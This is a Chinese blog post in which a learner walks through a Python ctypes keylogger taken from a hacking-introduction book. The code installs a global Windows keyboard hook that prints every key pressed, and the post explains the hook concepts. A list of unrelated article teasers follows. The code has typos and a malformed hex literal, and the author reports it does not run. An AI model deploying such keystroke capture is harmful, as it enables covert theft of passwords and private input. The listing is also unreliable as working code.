python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)...
最近从图书馆借到一本书《Python黑客攻防入门》,感觉里面的提供的代码模块对自己深有感触(主要我超菜),所以打算尝试写点小分析,希望大家能谅解本人的语言组织与技术分析。
希望有人来讨论......
python 3.7版本
代码块
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
#调用WIN32中的API
user32= windll.user32 #以windll加载user32.dll文件
kernel=windll.kernel32 #加载kernel32.dll文件
WH_KEYBOARD_LL=13 #安装一个监视低级键盘输入事件的钩子过程
WM_KEYDOWN=0×0100 #按下一个非系统键时将消息发送给具有键盘焦点窗口(不与ALT键连用)
CTRL_CODE =162
#定义挂钩函数
class KeyLogger:
def __init__(self):
#初始化
self.lUser32 =user32
self.hooked =None
#装载钩子
def installHookProc(self,pointer):
self.hooked = self.lUser32.SetWindowsHookExA(
WH_KEYBOARD_LL, #要监视的事件
pointer, #指向钩子过程的指针
kernel32.GetModuleHandleW(None), #要钩取的线程所属的DLL句柄,此函数返回
0 #要钩取的线程ID,为0则表示全局钩子
)
if not self.hooked:
return False #return false阻止向下执行
return True #返回正常结果,正常执行
#定义脱钩函数
def uninstallHookProc(self):
if self.hooked is None:
return #return返回值为None,控制权交回
self.lUser32.UnhookWindowsHookEx(self.hooked) #Unhook函数拆除之前设置的钩子
self.hooked=None
#获取函数指针
def getFPTR(fn):
CMPFUNC = CFUNCTYPE(c_int,c_int,c_int,POINTER(c_void_p))
return CMPFUN(fn)
#定义钩子过程
def hookProc(nCode, wParam, lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)
hookedKey = chr(lParam[0])
print(hookedKey)
if(CTRL_CODE == int(lParam[0])):
print("Ctrl pressed,call uninstallHook()")
keyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
#8.传递消息:GetMessageA()函数函数监视队列,消息进入队列后取出消息,并传递给勾连中的
#第一个钩子
def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
#9.启动消息钩取,首先创造KeyLogger 类,然后installHookProc()函数设置钩子,同时
#注册钩子过程回调函数。最后调用startKeyLog()函数,将进入队列的消息传递给勾连
keyLogger = KeyLogger()
pointer = getFPTR(hookProc)
if keyLogger.installHookProc(pointer):
print("installed keyLogger")
startKeyLog()
概念理解:
钩子(hook):操作系统为有消息到来或发生鼠标点击、键盘输入等事件时,操作系统提供了中间拦截机制。钩子分为本地钩子和全局钩子。本地钩子针对特定线程设置,全局钩子针对操作系统中运行的所有线程设置。
方法简要:
使用user32.dll提供的SetWindowsHookExA()函数可以设置钩子。
使用python中默认提供的ctypes模块,可以在python程序中调用DLL,使用C语言的变量类型。
MSDN提供对WIN API的使用方法。
总结:
我靠,这程序运行出来命令行一直是黑屏,没反应。是因为360吗,反正我搞了两天这程序没成功,希望有大佬可以伸出援助之手,帮帮小弟...
python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)...相关推荐
- python 嵌入式数据库_Pysqlite下载 Pysqlite for Windows v2.6.3(嵌入式数据库python api 接口) 下载-脚本之家...
Pysqlite是针对Windows用户设计的一款Python API接口,安装之后就可以进行数据库的连接.创建和管理,可以将sqlit的操作变得简单起来,详细的操作方法参见下文,需要的朋友赶快下载吧 ...
- python群发邮箱软件下载_利用STMP邮件传输协议,实现python群发邮箱脚本!
(私信小编007即可自动获取大量Python学习资料) 假设你这学期担任某课程的学生助理,老师想布置课程的作业并与下一节课提交,你将作业要求发到了班级群里面,但是很多同学可能没有及时查看群消息,为了稳 ...
- python简单小脚本:模拟键盘爬取VirusTotal样本信息
背景: 当时通宵写incaseformat病毒报告时,有个数据展示需求:根据我们收集整理后的6000个相关样本sha256去VT爬取对应的First Submission.由于之前用过VT提供的API ...
- python如何爬虫股票数据_如何抓取股票数据_用Python抓取新浪的股票数据
python爬虫成长之路(一)抓取证券之星的股票数据 其中编译匹配模式findall方法使用这个匹配模式来匹配所需的信息并以列表的形式返回.正则表达式的语法非常多.下面我只列出使用的符号的含义.匹配除 ...
- python淘宝爬虫_简单的抓取淘宝图片的Python爬虫
写了一个抓taobao图片的爬虫,全是用if,for,while写的,比较简陋,入门作品. 从网页http://mm.taobao.com/json/request_top_list.htm?type ...
- 用Python编写小工具下载OSM路网数据
文章来源于Python大数据分析,作者费弗里 本文对应脚本已上传至Github仓库: https://github.com/CNFeffery/DataScienceStudyNotes[1] 1 简 ...
- python电脑下载方法-python 获取机器snpython下载文件的几种常用方法
python中下载文件常用的几个模块有urllib,urllib2,requests,方法也很简单,代码如下: 002pc.com从python 获取机器snpython下载文件的几种常用方法分析来看 ...
- 我的python之路一初识python的自我理解
初识python的自我理解 关于python的自我简记 我认识的python 怎么开始python的学习和使用 我尝试过的几个python学习的常用组合 关于python的自我简记 初识python是 ...
- Python爬虫实战(4):抓取淘宝MM照片
Python爬虫入门(1):综述 Python爬虫入门(2):爬虫基础了解 Python爬虫入门(3):Urllib库的基本使用 Python爬虫入门(4):Urllib库的高级用法 Python爬虫 ...
最新文章
- Android开发之ContentProvider结合LoaderManager加载数据(图文源代码分享)
- Xcode 3.2.5免证书开发调试[转]
- Matalab类定义
- 我做SAP CRM One Order redesign的一些心得体会
- CSS3 Flex 弹性布局用法详解
- oracle数据库月份日期固定,oracle 日期函数介绍-数据库专栏,ORACLE
- centos7设置静态IP地址
- OpenCV距离变换函数:distanceTransform()介绍
- Java 设置 JLabel 字体 颜色
- ibm system x服务器重装系统,IBM X346服务器重装系统_xSeries 346阵列配置
- 百度文库如何免费下载
- 用计算机求已知两点坐标方位角,python 计算方位角实例(根据两点的坐标计算)
- Sqlmap使用-盲注小实验
- 企业如何利用BaaS平台快速部署区块链应用落地
- java clob 读取_java 实现读取clob
- 【B站】在电脑浏览B站视频时,暂停后自动播放的BUG
- Java 学习笔记 —— 基础部分
- for of与for in的区别
- 平安云Redis实践降本增效的背后,竟然是它在支招?
- redis(二)使用redis工具类
热门文章
- microsoft store打不开,提示代码是: 0x80131500,怎么解决?
- 接入腾讯云短信服务(史上最详细+该短信服务如何申请成功+发送短信验证码API讲解+相关错误分析)
- MobaXterm——Portable edition迁移账号信息等到新的版本解决方案
- Game with Telephone Numbers
- 基于matlab的霍夫变换,基于matlab的霍夫变换
- og-bin=mysql-bin_TiDB Binlog 常见问题
- CentOS 初体验十二:wget下载文件
- onTouchEvent
- 记一次继承了AbstractAuthenticationProcessingFilter 的过滤器被执行了两次问题
- java 的 System.getenv() 和 System.getProperty()